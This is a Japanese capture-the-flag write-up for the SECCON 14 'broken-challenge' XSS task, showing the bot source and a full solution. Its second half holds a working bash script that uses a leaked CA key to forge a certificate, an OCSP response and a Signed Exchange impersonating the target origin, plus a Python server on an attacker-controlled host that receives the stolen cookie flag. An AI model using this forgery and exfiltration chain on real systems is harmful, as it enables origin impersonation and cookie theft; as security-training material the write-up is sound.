- Source: SECCON 14 Quals
- Author: Satoooon
XSSの問題だが、XSSを発生させるべきWebサーバーが存在せず、botだけが与えられた。そんな無茶な。
conf.js
import puppeteer from "puppeteer";
export const challenge = {
name: "broken-challenge",
rateLimit: 4, // max requests per 1 minute
};
export const flag = {
value: process.env.FLAG,
validate: (flag) => typeof flag === "string" && /^SECCON\{.+\}$/.test(flag),
};
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export const visit = async (url) => {
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--js-flags=--noexpose_wasm,--jitless",
"--disable-features=HttpsFirstBalancedModeAutoEnable",
],
});
const context = await browser.createBrowserContext();
try {
await context.setCookie({
name: "FLAG",
value: flag.value,
domain: "hack.the.planet.seccon",
path: "/",
});
const page = await context.newPage();
await page.goto(url, { timeout: 3_000 });
await sleep(5_000);
await page.close();
} catch (e) {
console.error(e);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
};
index.js
import express from "express";
import rateLimit from "express-rate-limit";
import fs from "fs";
import { visit, challenge, flag } from "./conf.js";
if (!flag.validate(flag.value)) {
console.log(`Invalid flag: ${flag.value}`);
process.exit(1);
}
const app = express();
app.use(express.json());
app.set("view engine", "ejs");
app.get("/", (req, res) => {
res.render("index", {
name: challenge.name
});
});
app.get("/hint", (req, res) => {
res.render("hint", {
hint: fs.readFileSync("./cert.key"),
});
});
app.use(
"/api",
rateLimit({
windowMs: 60_000,
max: challenge.rateLimit,
})
);
app.post("/api/report", async (req, res) => {
const { url } = req.body;
if (
typeof url !== "string" ||
(!url.startsWith("http://") && !url.startsWith("https://"))
) {
return res.status(400).send("Invalid url");
}
try {
await visit(url);
res.sendStatus(200);
} catch (e) {
console.error(e);
res.status(500).send("Something went wrong");
}
});
app.listen(1337);
botのソースコードを確認すると、hack.the.planet.secconでXSSできればflagが得られることが分かる。
try {
await context.setCookie({
name: "FLAG",
value: flag.value,
domain: "hack.the.planet.seccon",
path: "/",
});
const page = await context.newPage();
await page.goto(url, { timeout: 3_000 });
await sleep(5_000);
await page.close();
} catch (e) {
console.error(e);
}
/hintでルート証明書の秘密鍵を得られるのが気になる。
app.get("/hint", (req, res) => {
res.render("hint", {
hint: fs.readFileSync("./cert.key"),
});
});
ということで、この証明書を用いてChromeがhack.the.planet.secconからのコンテンツだと解釈するようなサーバーを自分で用意し、flagを得る問題だと推測できる。
最初はDNS関係の何かだと思っていたが、hack.the.planet.secconに名前解決できるような方法が見つからず。LLMと壁打ちしていたらSigned Exchange (SXG)という技術を提案してくれた。
初見の技術なので調べてみたが、どうやら署名付きのHTTPレスポンスをパッケージ化して配信し、originからの配信と同様に扱う(=cookieも乗る)というものらしい。
ということで、/hintから証明書を取得してsxgファイルとその検証に必要な証明書チェーンを作成する。作成にはgen-signedexchangeとgen-certurlを用いた。payload.htmlは適当なXSSペイロードになる。
#!/bin/bash
set -e
# 0. 準備
# 1時間前の時刻 (UTC) を計算 (Botの時刻ズレ対策)
# GNU dateとBSD date(Mac)の両対応
if date -v -10M > /dev/null 2>&1; then
DATE_STR=$(date -v -10M -u +"%Y-%m-%dT%H:%M:%SZ")
else
DATE_STR=$(date -u -d "10 minutes ago" +"%Y-%m-%dT%H:%M:%SZ")
fi
echo "[*] Signing Date: $DATE_STR"
# ==========================================
# 1. Leaf証明書 (hack.the.planet.seccon) の作成
# ==========================================
echo "[*] Generating Leaf Certificate..."
# 秘密鍵の生成
openssl ecparam -name prime256v1 -genkey -noout -out leaf.key
# CSR (署名要求) の生成
openssl req -new -key leaf.key -out leaf.csr -subj "/CN=hack.the.planet.seccon"
# 拡張設定ファイル (SXGに必須のCanSignHttpExchangesを追加)
cat <<EOF > leaf.ext
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage=digitalSignature
subjectAltName=DNS:hack.the.planet.seccon
1.3.6.1.4.1.11129.2.1.22=ASN1:NULL
EOF
# CA鍵(cert.key)を使って署名し、leaf.crtを発行
openssl x509 -req -in leaf.csr \
-CA cert.crt -CAkey cert.key -CAcreateserial \
-out leaf.crt -days 7 -sha256 -extfile leaf.ext
# ==========================================
# 2. OCSPレスポンスの捏造
# ==========================================
echo "[*] Generating Valid OCSP Response..."
# index.txt (CAデータベース) の作成
touch index.txt
# 証明書のシリアル番号を取得
SERIAL=$(openssl x509 -in leaf.crt -serial -noout | cut -d= -f2)
# index.txtに有効なエントリを追加 (V = Valid)
echo -e "V\t251231235959Z\t\t$SERIAL\tunknown\t/CN=hack.the.planet.seccon" > index.txt
# OCSPリクエストの作成 (ダミー)
openssl ocsp -issuer cert.crt -cert leaf.crt -reqout req.der -no_nonce
# OCSPレスポンスの生成と署名 (CA鍵を使用)
# これにより "正当なCAが署名した有効なOCSP" が出来上がる
openssl ocsp -index index.txt -rsigner cert.crt -rkey cert.key -CA cert.crt \
-reqin req.der -respout ocsp.der -ndays 7
# ==========================================
# 3. cert.cbor と SXG の生成
# ==========================================
echo "[*] Generating cert.cbor and SXG..."
# 証明書チェーン (CBOR) の生成
cat leaf.crt cert.crt > chain.pem
gen-certurl -pem chain.pem -ocsp ocsp.der > cert.cbor
# SXGファイルの生成
gen-signedexchange \
-uri https://hack.the.planet.seccon/ \
-content payload.html \
-certificate leaf.crt \
-privateKey leaf.key \
-certUrl https://attacker.claustra01.net/cert.cbor \
-validityUrl https://hack.the.planet.seccon/resource.validity \
-date "$DATE_STR" \
-o exploit.sxg
echo "[+] Done! Files 'exploit.sxg' and 'cert.cbor' are ready."
echo "[+] Restart server.py and submit: https://attacker.claustra01.net/exploit.sxg"
これで生成したファイルを配信するサーバーを書く。
import http.server
import socketserver
import os
PORT = 50000
class ExploitHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# 1. SXGファイルへのリクエスト
if self.path.endswith('.sxg'):
try:
with open('exploit.sxg', 'rb') as f:
content = f.read()
self.send_response(200)
# ここで強制的に正しいMIMEタイプを指定
self.send_header('Content-Type', 'application/signed-exchange;v=b3')
self.send_header('X-Content-Type-Options', 'nosniff')
self.send_header('Content-Length', str(len(content)))
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(content)
return
except FileNotFoundError:
self.send_error(404, "File not found")
return
# 2. CBORファイルへのリクエスト
elif self.path.endswith('.cbor'):
try:
with open('cert.cbor', 'rb') as f:
content = f.read()
self.send_response(200)
# ここで強制的に正しいMIMEタイプを指定
self.send_header('Content-Type', 'application/cert-chain+cbor')
self.send_header('Content-Length', str(len(content)))
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(content)
return
except FileNotFoundError:
self.send_error(404, "File not found")
return
# 3. 成功ログの受信 (/log?flag=...)
elif '/log' in self.path:
print(f"\n[!!!] FLAG RECEIVED: {self.path}\n")
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
return
# その他は標準のハンドラに任せる
super().do_GET()
print(f"Listening on port {PORT}...")
# アドレス再利用設定 (Restart時のエラー防止)
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("0.0.0.0", PORT), ExploitHandler) as httpd:
httpd.serve_forever()
このサーバーを公開してbotへ投げるとflagが飛んできた。なお、手元のブラウザでは(当然)証明書が異なるため動作しない。
SECCON{congratz_you_hacked_the_planet_521ce0597cdcd1e3}